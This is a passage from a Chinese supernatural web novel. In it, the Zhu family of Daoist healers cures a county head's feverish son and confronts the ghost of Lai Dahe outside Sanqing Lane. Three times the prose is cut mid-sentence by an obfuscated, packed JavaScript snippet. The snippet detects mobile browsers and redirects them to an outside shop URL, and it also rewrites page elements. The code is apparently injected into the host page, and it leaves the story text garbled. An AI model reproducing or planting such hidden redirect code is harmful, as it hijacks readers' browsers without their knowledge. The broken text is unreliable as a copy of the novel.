祝家那位大姑娘看了她的孙子,也叫她孙子喝了半碗水,又给了一个平安符,昨晚上孩子睡了整觉,一声都没闹过。 今早起来孙大姐就拿了肉票给儿媳妇,叫儿媳妇赶早买两斤肉给祝家送去作谢礼。 祝家那样的玄门手段不能放在明面上说,这要说出来就是封建糟粕,破四旧的东西,但人心里有杆秤,什么该敬着都心里有数。 何载明身边的杨秘书叫孙大姐去办公室,何载明跟她打听祝家宅子的事时,孙大姐立刻回绝,她不清楚,也劝何载明别打祝家宅子的主意。 “他们家不是有空宅子吗?就算不愿意卖,租也不行?” “这个我不知道,不如你问问刘欣吧,她是祝家的媳妇儿,她肯定比我知道多。” 刘欣听过一耳朵何县长的小舅子惦记祝家宅子的事儿,这会儿被叫过来,刘欣只一句话:“不卖,也不租。” 何载明还想再谈谈,刘欣一点不给面子,管他是不是县长,就说:“不知道您从哪儿听来的消息,我在这儿说一声,我家没有空房子。您要不信,不如去打听打听祝家。” 刘欣转头就走,留下一脸不可置信的何载明,对外脾气再好他也忍不住生气:“什么意思?不过问句话,就给我甩脸子了?” 何载明都想骂人,这么跟领导说话,脑子呢? 杨秘书是下乡的知青,七二年的时候因为救人立功被树成典型,上了报纸,后来才特地被提拔进县委作为知青代表得了工作。 他是外来的,不清楚祝家的事儿,就劝:“您别急,我回家去帮您打听打听。” 杨秘书是六五年那一批的知青,年纪不小了,进县委上班后在本地结了婚,他不清楚祝家的事,他媳妇应该知道些什么。 “何县长,吕雯同志托人带话,说孩子又高烧了,她带着孩子去医院了。” 何载明顾不得祝家的事,交代杨秘书一声赶紧去医院,急得连雨伞都忘了拿。 何载明冒雨跑到医院,吕雯抱着还在哭,小舅子吕向前也在,看他黑脸瞪着大夫,一副刚吵了架的斗鸡样儿。 看到何载明来了,吕向前乖乖喊了声姐夫。 何载明拍了吕向前胳膊一下,忙问媳妇儿:“怎么样了?” 吕雯红着眼睛说:“刚打了针,医生说这回要是还没用就要想别的办法了,说这个针对孩子身体负担大,打多了不好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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何载明喝止道:“你行了,好端端一个小伙子装什么流氓?装也装不像。” 几个不吭声的医生心里冷笑,这还不像流氓,什么像流氓? 吕向前年轻,面子挂不住,扭脸走了。 何载明苦笑,跟李院长说话,也有找补的意思:“我岳父是个严父,生了三个儿子一个女儿,对前两个大的管得严,我小舅子跟前面两个哥哥年龄差的大,就宠爱了些,没想到养成这样一个性子。他脾气冲了点,但是人不坏,他要敢胡来,我岳父是不许的。” 院长笑呵呵地应了几声,多余的话也不讲了。 孩子烧还没退,何载明夫妻俩也不敢这会儿带孩子回家,就要了一张病床在医院里看着孩子。 这会儿才半下午,吕雯跟何载明商量:“咱们带着孩子这会儿去市医院怎么样?” “外头还下着雨,这要在路上情况变严重了怎么办?” 走水路去市里要五六个小时,走陆路的话只有早上有一班车去市里,这会儿没有车,怎么去? “那我们就等着?” “只能等着了。” 吕雯怒火压不住,气道:“你这个县长在这儿说话不管用,你不想点办法?” “先不说这些,我们初来乍到不熟悉,等些时候吧。” 一个祝家跟县里各方关系都有牵扯,都护着,他连祝家都没搞清楚,其他短时间内更不好动。 不着急,该怎么把关键位置上换成自己人,何载明心里已经做好打算了。 何载明在病床边陪着孩子,等到傍晚,孩子身上的烧退了些,夫妻俩高兴起来。 为了以防万一,夫妻俩准备在医院住一晚。本来以为这个晚上好好度过去就没关系了,谁知道半夜里孩子突然哇哇哭了起来,又重新烧起来。 “大夫!大夫!” 何载明忙跑出去喊大夫,大夫忙冲进来检查孩子一遍,又跑回去拿银针。 “按住别动啊。” 何载明夫妻俩忙按住孩子。 扎了针孩子还是哭,睁着眼睛哭,眼睛不是乱看的,而是盯着半空中某个地方。 李院长在医院值班没走,跑来看到这个情况就说:“扎针估计不行,送孩子去祝家或许有用。” “去祝家?” 李院长一拍后脑勺:“唉,估计不行,你们家是不是得罪祝家了?人家不见得愿意救。” 吕雯急哭:“祝家我都不认识,怎么就得罪了?快请大夫来啊!” 刚才扎针的大夫听明白了院长的话,这不是请大夫的事,这个情况要请大师啊。 要是其他事情院长肯定就不多嘴了,但是到底是一条命,孩子无辜,大人之间就算有矛盾也不该闹到孩子身上。 李院长说:“得没得罪我不知道,我只说祝家或许能救你们儿子,要不要去祝家求医看你们自己。” 何载明能走到今天就算他不是顶精明的人,但是也不傻,院长这么说,肯定有这么说的道理,他既然不懂,那就要听人劝。 试试,试试说不定有用。 至于祝家,何载明轻轻呼出一口气,脑子清明了。 求人矮一截儿。 万事不求人的时候他是县长,他位高权重,这一亩三分地里他说了就算,就算现在不算,以后他有的是办法拿捏。 现在人家有本事,他要求着人家救命,那就是人家说了算。 10. 第 10 章 何载明在乡下长大,下雨天下地干活的时候多的是,冬天、初春的雨有多冷他是知道的,但是他此刻觉得,他这一辈子淋过的雨,都不如今晚上的雨冰冷刺骨。 已经是半夜了,一路上家家户户的窗户都黑着,天上也没有一点月光照下来,漆黑的晚上看不到一丝光亮。何载明夫妻俩抱着孩子走在街上,好像这个世界只有他们一家三口,凄惶不安地在奔跑,寻找着生路。 不对,好像不止他们一家三口,还有那个,不能说出口的,不知道真假的东西。 夜雨夹着风吹过来,雨伞遮不住风,何载明只觉得脖子一凉,一股冷意缠绕着脖子钻进了心里。 “三清巷是往这边走吧?” 吕雯打着伞,打着手电筒,两手不得空,四处看,什么也看不到。 何载明从她手里拿过手电筒,举起手电筒分辨方向,看到左手前面的街口竖着进士牌坊。 何载明知道明朝时祝家出过一位一榜进士,他打着手电筒细看牌坊上的字,是祝家没错了。 “走这边。” 怀里小声哼唧的孩子忽然放声大哭,何载明惊得连忙拍着背哄,却怎么也哄不好。 吕雯急道:“遮着孩子嘴巴,别叫他吃了冷风冷雨。” 何载明忙把孩子的脸朝向自己怀里遮着,一边往前赶路。 奇怪的事情发生了,他们一脚迈进牌坊里面,孩子的哭声小了,何载明感觉绕着他脖子的冷意好像也没了。 “有没有人?” “祝大夫在家吗?我们是上门求医的。” “有没有人在家?” 夫妻俩第一次来三清巷,不知道哪门哪户是祝大夫家,只能碰运气一家一家地敲门。 敲前两户没人应答,敲到第三户人家刚好是祝长芳家,祝长芳被吵醒,推身边的男人出去瞧瞧。 徐中披了件衣裳出去开门,他开门的时候何载明夫妻以为这家没人,已经离开去敲里面那户人家。 “你们干什么的?”徐中喊住夫妻俩。 听到有人喊他们何载明忙回头,何载明赶忙打听:“请问你知道祝大夫在哪家?我家孩子病重,求祝大夫看病。” “孩子生病怎么不去县医院?” “我们正是从县医院过来的。” 吕雯想表露他们的身份,被何载明暗中拉住,何载明忙又问:“您知道祝大夫吗?” “祝长明?” “正是,正是。” 徐中看到何载明怀里的孩子小小一个,呜呜哭着,不忍心,就说:“我带你去徐大夫家。” 等了会儿不见男人回来,祝长芳穿了衣裳出来了,听了半截儿,她回屋拿油伞。 祝长芳打量何载明夫妻俩穿着,半新不旧的干部装,一个补丁也没有,祝长芳盯着问:“你们家哪儿的,叫什么名字?” 吕雯这会儿聪明了,忙说:“我姓吕,是县医院的李院长介绍我们过来的。” 祝长芳觉得有点不对,听到李院长也就暂时按下了,带他们去敲祝长明家的大门。 祝长明被叫起来,打开门没想到是他们俩:“何县长,县长夫人,今夜冷雨冷风的,来我这儿做什么?” 一番折腾,好不容易见到祝长明,吕雯着急地把孩子往祝长明面前送:“祝大夫,我孩子不行了,求您救命啊。” 祝长芳一口气扯到嗓子眼儿,气得呀,她指着何载明凶道:“好哇,就是你的小舅子放话说看上我家的宅子是吧。” 祝长芳气势汹汹往前,徐中拉了她一下,把她拉回油伞底下。 吕雯忙解释:“我弟弟是打听过你们家的宅子,但是没有恶意,你们不愿意卖我们也不强求。” 祝长芳冷笑:“你强求一个试试,真以为我们祝家怕你们不成?” “误会,都是误会!”何载明急得冷汗都下来了。 什么宅子不宅子的,夫妻俩现在只在乎孩子。 孩子还在哭,吕雯再也绷不住情绪,一抹眼泪:“祝大夫啊,我们家若是得罪了你们,我给你们道歉,请您先救救我儿子啊!他高烧快不行了。” 祝长明看着塞到他怀里一点点大的孩子到底于心不忍,摸了孩子的脉,问:“又打了退烧针了?” “打了,还是没用,晚上又烧起来了,大夫给扎了针。”何载明小声道:“孩子睁眼瞪着半空中哭,李院长说扎针没用,请您瞧瞧说不定还有活路。” 吕雯忙跟着说:“刚才孩子突然哭好大声,从进士牌坊进来哭声就小了。” 祝长芳听到这儿心里就明白了,他们刚才肯定得了他们祝家的庇护。祝长芳看着孩子冷哼,若是今日之后还想着占他们祝家的好处,祝家跟他们没完。 “祝大夫,您看该怎么治啊。” 祝长明知道这不是看病的事儿,想了片刻:“你们先去我家等着,我去问问大姑娘。” 医者父母心,祝家又是道医传家,讲究积功德、积阴德。只要不是死敌,别人求上门来,没有不救的道理。 祝家主宅的门敞开,灯点亮,何载明夫妻俩跟着祝长芳进门,绕过影壁,穿过垂花门进去就是宽阔的院子,再进去就是大厅,这里是接待外客的地方,也是三清巷祝家妇人们日常闲谈玩笑的地方。 祝家的主宅重修过一次,现在这套宅子是明朝传下来的,当初建得好,后代子孙保护得也很好。砖墙上镶嵌的石雕,门窗上的清漆,地上干净的青石砖,样样都好,不像县委大院的房子那般破烂。 这时候何载明夫妻根本不关心祝家的宅子,只想他们的儿子能够平安。 祝十安懒散地坐在罗汉椅上,手撑着额头,困得忍不住打哈欠。 跟着起来的祝凤琴披了件棉衣进来了,端起热水壶,往白天喝剩下的冷茶里倒了一半热水进去,兑成温水倒给祝十安喝。 “快喝口水,醒醒神,人进来了。” 祝十安接过水杯喝了一口,抬头看,祝长芳夫妻后头跟着一对肩膀半湿的夫妻,男人怀里抱着一个孩子。 这就是县长夫妻? 祝十安的目光掠过县长夫人,盯着何载明的脸瞧,虽然面容憔悴,但也看得出他官禄宫饱满丰润,眉眼疏阔,这人一看就不像是心胸狭窄之人。 再端详整张脸,嗯,除了官禄宫有点说头外,整体面相平平,他命里无大运可走,但流年中有小运,普通人里面算是非常不错的面相了。 他本人性情应该不错,容易得到贵人相助,偶有小坎坷也容易度过去。说不得他命里本该没了的这个儿子,就是因为跟祝家扯上关系,保住了性命。 因果循环,都是他的运道。 看了何载明的面相后,祝十安不认为这人会成为祝家的仇敌。 祝十安打量何载明的时候,何载明夫妻也在小心打量她。 何载明已经从祝长芳嘴里得知小舅子是怎么得罪祝家,他又是怎么被小舅子牵连的。 何载明估摸着是传话的徐家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孩子脸蛋上的高热慢慢退了,不用祝长明说,何载明夫妻俩看也看得明白,这时候何载明放心下来,看着坐在一旁打哈欠的祝十安,有心搭话。 何载明诚心道歉:“祝大姑娘,宅子的事都是一场误会,是我们不对,在这里我跟你道歉,还请你不要往心里去。” 祝十安嘴角微翘:“你们家想换宅子住?” 吕雯忙摇头:“不换了,不换了,县委大院破是破了点,不过也能住。” 祝十安看着吕雯笑:“你现在抱着孩子回去住一晚,我保证明天早上起来,你儿子胸口又会多一块乌青。” 镇山县这个地方因为风水格局的原因,阴气比其他地方重一些,但是阴气再重,也不可能在人身上团成乌青的瘢痕。 吕雯被吓住了,突然联想到什么,吓得双手捂住胸口:“难道是……难道……” 祝十安打了个哈欠,勉强精神点说:“放心,三清巷干净得很,什么脏东西都进不来。” 哪里是三清巷的问题啊。 吕雯吓得脸色刷白,浑身颤抖,何载明忙拉着媳妇儿手,拍着手被轻轻安抚:“没事儿了,现在没事了。” 吕雯呆愣着看着丈夫,眼泪刷地一下流下来,一个劲儿地打男人,呜呜地哭。 为什么要来这个破地方?为什么?儿子差点被害死了! 小白吊在屋梁上看热闹,蛇尾一翘,怎么没有?后花园的水缸里不是有个脏东西吗? 嘶嘶嘶~ 11. 第 11 章 乡下地方闭塞,村里的人半藏半掩地谈论山精鬼怪是常有的事,说哪个地方的活神仙算命准,哪个山上的山神庙灵验。何载明一向不信,他认为都是乡下人没读过书,愚昧,这些编的瞎话一个字都信不得。 今天晚上他亲眼见到了,不得不信。 何载明关心着浑身扎针的儿子,又小心地观察祝十安一举一动。 以前他只觉得他脑子不够聪明,手腕不够灵活,看不破官场上的来往。现在他觉得还要加一个,他一双凡人俗眼,看不清这世上还有另一群随时威胁所有活人的东西。 就是因为看不清,看不明,心里才会觉得格外恐怖。 针灸时间到了,祝长明取了针,祝十安摸了下脉,点点头,可以了。 “孩子不热了,你们抱回去吧。”祝长芳把孩子交到吕雯手上,孩子好好的,窝在小被褥里面睡着了。 孩子好了,何载明夫妻俩的心也放下来了,要回家吗? 吕雯一想到家里有鬼就吓得打寒颤,现在该怎么办? 遇到事情就去解决事情,怕有什么用?现在面前就有个能解决事情的人,还东想西想什么?何载明毫不犹豫向祝十安求救。 他放低姿态恳求道:“如今这个年月里,住房紧张得很,县委大院里的房子我们不住也会分给其他人住,这不是让其他人受罪?还请祝大师大发慈悲,彻底把祸端解决了吧,全县人民肯定对会您都感激不尽。” 吕雯抱着儿子,声音也软了,帮腔道:“我们夫妻初来乍到不懂事,但是我也看得明白,镇山县里居民对祝家很维护,就算看在县里居民的份上,也请您出手帮一帮。” 这都几点钟了? 祝十安起身往后院走,说:“今天太晚了,明儿再说吧。你们也别回去了,凤孃。” “哎。”祝凤琴应了一声。 “给他们找间客房住。”祝十安顺□□代。 “行,让他们住前院东厢房吧,那间屋干净,前两天才收拾过。” 祝十安不管这些,点点头走了。 “谢谢祝大师收留。”吕雯一脸喜意。 祝十安的脚刚跨进后院的门槛,下意识往后仰身躲避,皱眉盯着小白:“挡我路了。” 小白的尾巴一耸一耸地还在往祝十安跟前挪,挪到祝十安脚边了才竖起尾巴尖指东边的方向:“牌坊外面有个鬼一直不走。” “新鲜了,什么鬼胆子这么大,敢流连在三清巷门口?” “是个厉害的新鬼呢,好凶的老头子。”小白告状:“他看到我了,张大嘴要吃我。” 祝十安不信:“鬼魂根本进不来三清巷,你不出去,他怎么吃你?” 说着话,祝十安扭头回去。 大厅里,徐中祝长芳夫妻,祝长明,还有何载明一家三口还没走。 祝长明看她回来:“大姑娘有事儿要交代?” 吕雯紧张地抱着孩子,是不是她的孩子有事? 祝十安摆摆手:“你的孩子好得很,我自己有事儿出去瞧瞧。” 祝长芳忙说:“外面还在下雨,又冷又黑的,出去干嘛?” 祝十安忽然想到了,她瞟了一眼何载明夫妻,边走边说:“有个不胆子大的鬼在三清巷外头不肯走,我去瞧瞧。” 祝长芳跟上去,顺嘴问:“哦,是他们两口子带来的?” “说不准。” 祝长芳径紧跟着祝十安的脚步,拿了伞给她撑着。 何载明犹豫了下,终究还是拿着自家的伞追了上去。 吕雯又紧张起来:“不会出事吧。” 祝长明对自家家主绝对信任,他说:“放心,你照顾好你的孩子吧,他们一会儿就回来了。” 一共才三把伞,祝长芳家的伞和何载明带来的伞都拿走了,祝长明拿了自家的伞家去。 祝凤琴去厢房柜子里抱被子,出来瞧见屋里只有徐中在,吕雯抱着孩子坐在椅子上,就对徐中说:“长明家去了吧,长芳去哪儿?你怎么还不家去?” 徐中说:“我媳妇儿送大姑娘去巷口了,何县长也追过去了。” 祝凤琴抱着被子停下来,问:“巷口怎么了?” “说是有个鬼在巷子口不走。” 有鬼哦,祝凤琴不担心了,扭脸叫吕雯:“走吧,跟我去房间,你带着孩子先睡。大冷天的,别叫孩子受罪。” “多谢大姐。”吕雯抱着孩子忙跟上去。 三清巷口。 祝十安站在牌坊里面,牌坊外面几米远的地方有个年纪五十来岁的鬼,鬼气浓得很,若是不管,假以时日说不准会变成厉鬼。 这个鬼,此时正盯着祝十安身后的何载明,恨不得一口把他吃了。 祝十安不说话,祝长芳有点害怕:“大姑娘,你在看哪儿?” 祝十安朝鬼的位置抬了下下巴:“在看鬼,你正前方十步远的地方。” 我的天呐,祝长芳下意识往后退了两步,打在祝十安头上的伞都移开了,祝长芳赶忙把伞移回来。 祝十安问何载明:“鬼瞪着你,看来是你的仇人。” 何载明想了半天:“我年前才来镇山县,许多工作计划都还没来得及开展,谁也没得罪,怎么想我也想不到,哪里有死了还要盯着我的大仇人。” “那你瞧瞧吧。” 祝十安掐诀,伸手往何载明灵台一点,暂时给他开了阴阳眼。 何载明眨了眨眼睛,睁开眼睛再看,本来牌坊前空无一人的地方,竟真有个人死死地盯着自己。 不对,那不是人。 夜雨还在下着,对面的人没打伞,雨一滴也没落在他身上,他浑身都是干的,他的脚不着地,竟是飘着的。 何载明此时只觉得头皮都炸开了,吓得手脚发麻,动弹不得。 “祝大师,我真不认识他。”何载明声音抖的厉害。 何载明一开口就激怒了对面的鬼,那鬼的七窍冒出的鬼气缠绕着全身,埋头往牌坊里撞,却被无形的力道弹飞,他浑身的鬼气就像一滴水落在烧红的铁锅上,一碰上就给蒸发了。 “啊!” 鬼扑过来时何载明下意识举起双手挡住,脚步忙不迭地往后退。 祝十安一动不动,心里微惊,这个才死不久的新鬼挺厉害嘛。不过,新鬼就是新鬼。 “大姑娘,让我瞧瞧。”见何载明这么害怕,祝长芳胆子大起来,她倒要瞧瞧什么鬼这么吓人。 祝十安给祝长芳开阴阳眼,祝长芳睁眼看到对面的鬼魂,一拍大腿:“这不是赖大河嘛。” “谁?” “嘿呀,前任县长的老爹。你前头的县长姓什么你不知道?” 祝长芳反问何载明一句,扭头跟祝十安说:“赖家人就在祝家村旁边的大队上,这么近,赖家死人了这事儿我们不可能不知道,初一我们回村里祭祖,也没听见谁说。” 不是年前死的,还是年后死的,左右死的不久,祝十安一看鬼身那么弱就知道。 “赖家怎么回事?” 要说赖家,那可有的说了。 赖大河的大儿子,也就是镇山县的前任县长赖福田原来只是个初中生,六五年初中毕业就在大队部教书。 后来两年不太平,他不知道怎么就成了县里领头那个,领着县里不着调的那群人,整天打这个批那个的,县里好些单位都被他霍霍过,不知道多少人恨他。 后来,听说赖福田被推举成副县长,又成了县长,彻底抖起来了,大家都是寻常百姓也不敢跟他对着干,都怕他,直到年前被清算压走,赖福田在镇山县作威作福了小十年呐。 祝长芳知道的只是面上的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401587|200418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,何载明知道的内情更多一些,当年赖福田为了夺权,文斗武斗都下手狠毒,被他逼死打死的下放□□就有好几个。被抓清算后,赖福田对所有罪证无从狡辩,审完后很快就吃了枪子儿。 知道对面的鬼是谁后,何载明就知道这个鬼为什么恨自己了。他也很冤枉,赖福田吃枪子儿完全是罪有应得。关他什么事? 祝十安皱眉,这个赖大河是个新鬼,死了也没几天,新鬼很难离开死前的地方,他是怎么渡河跑到县城里来的? 祝十安从牌坊下面走出来,冷风夹杂着冷雨打过来,阴冷的气息一下惊醒了她。 不好! 三清巷外面怎么有阴气? 赖大河扑过来被祝十安一脚踢开,她转身,神情严肃地盯着东北方向。那里是云台山和望云山的交汇处,缠绵不绝的阴气就是从那个方向过来的。 应该是那个地方出事了。 祝十安回头打量这个格外厉害的新鬼,难怪啊! 祝十安叹气,她现在真是太弱了,只是因为三清巷里阵法护着,她竟就没察觉到外面的情况不对。 以前,绝对不会有这种情况发生。 弱小就是她的罪过! 眼见祝大师一脚踢飞赖大河,何载明心里有底了,小心地走出三清巷,他道:“赖大河,你家的事情跟我没关系,别纠缠我家,赶紧投胎去吧。” 赖大河猛鬼哭嚎:“你,抢了我儿子的官位,占了我儿子的房子,我儿子死了,我要你赔命。” 如此不讲理,何载明也不知道该怎么劝了,他悄悄看祝十安。 祝十安轻哼,她又不是地府的判官,跟鬼讲什么道理? 祝十安松开握在手里的镇魂铃,轻轻一晃,镇魂铃的声音就像网一样把赖大河抓紧网里。 赖大河一个新鬼不如之前的王二柱厉害,都不用贴符箓,就能镇得他不敢动弹。 祝十安从祝长芳手里把伞拿过来,对她说:“你跟何载明回去,我出去一趟。” 祝长芳哪里会让她一个人出去,忙把伞拿过来:“去哪儿,我陪你去。” 何载明往前迈一步:“我也——” 祝十安打断他的话:“行了,你们去了也是给我拖后腿,都回去。” 祝十安又从祝长芳手里把伞拿过来,急匆匆走了。 “哎,大姑娘,你等等我。” 何载明忙拉住祝长芳:“听祝大师的吧,祝大师说得对,我们跟过去只会拖后腿,万一……祝大师还要分心保护我们。” 何载明虽然说得对,祝长芳还是看他不顺眼,冷眼瞪他:“要不是你,我家大姑娘何必大晚上的冒着雨出门?” 何载明无可辩解。 祝长芳抢过何载明手里的伞家去,何载明举起手遮在头上,赶忙跟上去。今晚上他被吓得魂都快没了,他可不敢一个人站在牌坊外头。 祝十安从三清巷外面的街道绕过去,穿过北街到主街上。 主街是镇山县最长最宽的一条街,以前走茶马古道北上去川西的商人都是穿过主街,走到主街尽头,走西北方向的山路离开。 而主街的东北方向是个山谷,飘荡在镇山县上空若有若无的阴气正是从那里来。 祝十安快步走在湿漉漉的街道上,走到主街的尽头,远处望云山忽然传来悠远的铜钟声。 咚~咚~咚~ 一声,接一声……钟声不紧不慢,无处不在,祝十安仰头望向空中,淡淡的阴气被驱赶,被荡清。 山谷里的阴气还在往外跑,不过这会儿县城里的阴气已经不成气候了。 望云寺里的和尚还是有几分本事。 既然此事不急了,她也不会冒雨独闯不知道什么情况的山谷,先回去吧。 祝十安走回三清巷,走到家门口放下伞时,雨停了。 12. 第 12 章 祝凤琴等在大门口,接过祝十安手里的雨伞,关心道:“没出什么大事吧?我看长芳刚才回来好像被吓住着了。” 祝十安笑了笑:“咱们这个小地方能有什么大事,您就放心吧。” “哎,我就说嘛,你可是得了老爷子真传的,哪可能有你解决不了的事情。”祝凤琴的头扬起来,声音也洪亮了。 祝十安捂嘴打哈欠:“行了,您去睡吧,困死了。” “睡吧睡吧,明儿早上我不催你起床,也不叫那些族里孩子在院子里闹腾吵着你睡觉。” 祝凤琴跟在祝十安身边,细心嘱咐:“可要好好睡觉,睡觉睡不好,身体得不到休息,什么病都找上门了。” 祝十安胡乱点头,也不知道她听进去没有。 祝凤琴一路送到祝十安房门前,替她关上门才回自己屋里休息。 听到外头没动静了,前院客房里何载明夫妻才躺床上去。 吕雯叹着气小声说:“原来也不是想买祝家的宅子,只是想搬出县委大院那个破房子,谁知道无意得罪了祝家人。现在我没想打宅子的主意,却想着咱们能住进三清巷就好了。” 何载明心里也赞同,要不是今晚上亲眼见到,他还不知道三清巷竟然是一块宝地,鬼都进不来,住这儿那得多安心呐。 吕雯推男人肩膀:“哎,你说说,咱们能不能……” 何载明躺在枕头上,浑身放松:“不能,你也别想,咱们就算结交不了祝家人,也别添什么仇怨。一辈子长得很,不知道还要经什么坎坷,留着祝家这份情,以后有咱们的好处。” “我没想结仇怨,咱们家也没那个本事跟人家结仇,我就是想求求祝家,你看成不成?” “我知道你的意思,没必要,不要做多余的事。” 吕雯不说话了。 夫妻俩躺下都睡不着,过了会儿,吕雯说:“回头把向前叫来给祝家道歉,不能叫祝家对咱们有一点不痛快。” “应该的。” 要换成其他人家,大不了就是谈不到一处去以后就不谈了,说不上得罪,最多话不投机罢了。 祝家不行。 若是叫祝家人心有芥蒂,不管中间谁对谁错,都是他们吃亏。 何载明转身摸摸儿子的手脚,又试探儿子额头温度,一边说:“还是要找房子,就是县委大院的事情解决了,咱们也要搬出去另外找房子住。” 吕雯也是这个意思:“找个人多的地方。” 人多的地方阳气重,没有鬼来。吕雯经过这次之后,真是被吓坏了。 吕雯一想县委大院的事,自己又气上了,扭头给了男人一拳头:“都怪你。” “好好好,都怪我行了吧。快睡快睡,明天早上起来还有事要忙。关灯睡觉。” “不准关灯,关灯我害怕。” 何载明也有点不敢关灯,算了,亮着灯睡吧。 三清巷里的祝家人有祖宗遗泽护着,习惯了安稳的日子,不知道其中可贵,更是不知道昨晚上望云山上响了几次钟声。 何载明记得很清楚,昨晚上响了三次钟声。半睡半醒早上七点钟醒来,叫醒他的是第四次钟声。 何载明睁开眼下意识摸身边的孩子,睡得正香呢,也没发热,乖得很。 三清巷的祝家人这会儿也起了,做早饭的做早饭,叫孩子起床的叫孩子起床,各家厨房飘出烟火和食物的味道,这种味道叫人安心。 张惠做好早饭见祝长明还没起,进卧室把窗户打开:“赶紧的,你上班要迟到了。” 祝长明打着哈欠起身,穿好衣服走出来,今天还是冷飕飕的。 “哟,今天难道要出太阳?” 张惠笑道:“我起来煮早饭那会儿外头吹风呢,云雾都给吹散了,看着像是要出太阳。” 祝长明站在院子里,叉着腰原地转了一圈,没有云雾遮挡,三清巷背后的云台山看得清清楚楚,远处的望云山也能看见一小半。 “不错,今天是个好天气。” 张惠倒了半壶开水到盆里,又舀了一勺冷水兑着,拧干了帕子给儿子祝康擦脸,一边说:“今儿又不是初一又不是十五,不年不节的,望云寺怎么一大早敲钟啊,以前都没这样的事。” “我哪儿知道,估计是寺里在做什么道场吧。” “对了,昨晚上半夜我实在太困了也没问你,昨晚大半夜的还下着雨,到底谁家上门来看病?” “何家。” “谁?”张惠一时想不到何家是哪家。 “咱们县新来的县长,何县长家,他小儿子高烧不退,打了针也没用,找到我这来了,我给送到大姑娘那儿去了。” “想打咱们祝家宅子那家?”张惠不高兴道:“他们还有脸求咱们看病?” 张惠虽然把自己小家看的重,但也是很看重祝家家族利益的,县长的小舅子打祝家宅子的主意她知道后,这些日子没少跟族里的女人一块儿骂人。 “说起来也不是什么大事儿,人家道歉了,又上门求医,总不能真把人赶出去,让人病死吧。那孩子才一岁多一点,要死了你心里过意得去?” 张惠心里自然过意不去,嘴上还是不饶人:“那也是他爹妈造的孽,关我们什么事。” “哎呀,不说这个了,赶紧吃早饭吧,饭都凉了。” 祝长明也不重新倒水,用媳妇儿儿子用过的洗脸水擦一擦脸,去屋里吃早饭。 祝长明给儿子剥鸡蛋,交代儿子:“康康今天别去主宅玩儿,大姑娘恐怕今日没空闲,别去打扰她。” 张惠立刻想到何家上门求医,自家男人把人送到大姑娘去的诡异:“打针都没用,非要求到咱们这儿,是不是撞鬼了?” 祝长明点点头:“你自己知道就行了,别出去乱说。” “我又不是长芳那般嘴里藏不住话的,跟我有什么关系,我才不会出去乱说。” 话又说回来,虽然高考之后社会风气在好转,鬼神之说还是要藏着些,说出去没得给自己家找麻烦。 跟外头的人一个字都不能说,跟自家人扯两句闲话可以的吧。祝长明吃了早饭去县医院上班,张惠收拾完屋里就去祝长芳家。 祝长芳这会儿不在家,张惠一路问到主宅去。 “惠姐站在门口做什么,快进来烤火。” “你来得正合适,刚才把火烧起来。” 四五个没工作的祝家女人聚在客厅里烤火,剪鞋样子的,糊纸盒的,补衣裳的……都忙着。 张惠进门,看了一圈才问:“大姑娘不在?” “不在,我就是看见大姑娘出门了,我才来的。”祝长芳给张惠拉了椅子坐。 张惠拉着祝长芳胳膊,问祝凤琴:“凤孃,何家两口子怎么回事?” 祝凤琴正从后院提了水过来烧,还没张口就被祝被长芳抢了话:“你们昨晚上是没瞧见啊,咱们大姑娘一脚把鬼踢飞了,你们知道那个鬼是谁不?” “谁啊?” “前任县长的老爹,赖大河。” “我的娘耶,赖大河什么时候死的?怎么没听说?又怎么来咱们三清巷了?” “我今天一早去打听了,说是死了有几天了,昨晚上是他头七。要说进来三清巷也没有,咱们三清巷有祖宗庇佑,鬼进不来,被拦在咱们祖宗的进士牌坊外头。” “怎么就扯上何家了?” “那话说来就长了。” 祝家妇人们在八卦赖家和何家的事,县医院的李院长一早上班就去祝长明办公室,敲门进去就问:“何县长昨晚上找你去了?给治好了?” “您怎么知道?” “我怎么不知道,我家跟县委大院在一条街上,早上骑自行车过来的时候碰到他们两口子抱着孩子,那孩子瞧着健康得很,我按车铃,孩子还冲我笑。” 祝长明说:“还说呢,您怎么把人往我家支?” 李院长振振有词:“昨晚上那孩子的情况一瞧就不对,情况紧急,我不能真让孩子死在医院里吧。更何况……” 李院长左右瞧瞧,诊室里只有祝长明和他带在身边的两个祝家的学徒,他关了门,才小声说:“更何况,以前我跟着我家老爷子当学徒的时候碰到过一次,那个病人也是莫名其妙高烧不退,躺在床上乱滚,好像被人打了似的浑身乌青的印子,我家老爷子一刻也没犹豫,叫我 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祝十安扭头跟何载明夫妻两人说:“没事儿了。” 何载明再三说了感谢的话,问:“这里可以住人了?” “可以住人,不过最好门窗开着多通风透气,叫阳光晒进来,多晒太阳对人有好处。” 吕雯怀里的孩子好像听明白了一样,跟个小河虾一样在他妈怀里跳着,冲祝十安笑。 事情了了,祝十安也不多留,转身走了。 何载明夫妻忙抱着孩子送祝十安出门,还说等家里安排停当了一定上门道谢。 祝十安没把这种事放在心上,她出了县委大院,顺着主街往北走,走到主街的尽头,碰到一行意料之外又意料之中的人。 一个老的带着三个年轻的。四个人穿着寻常的棉服,戴着帽子,祝十安闻到淡淡的香火气了,一猜就知道他们是和尚。 祝十安打量老和尚,老和尚也在打量她。 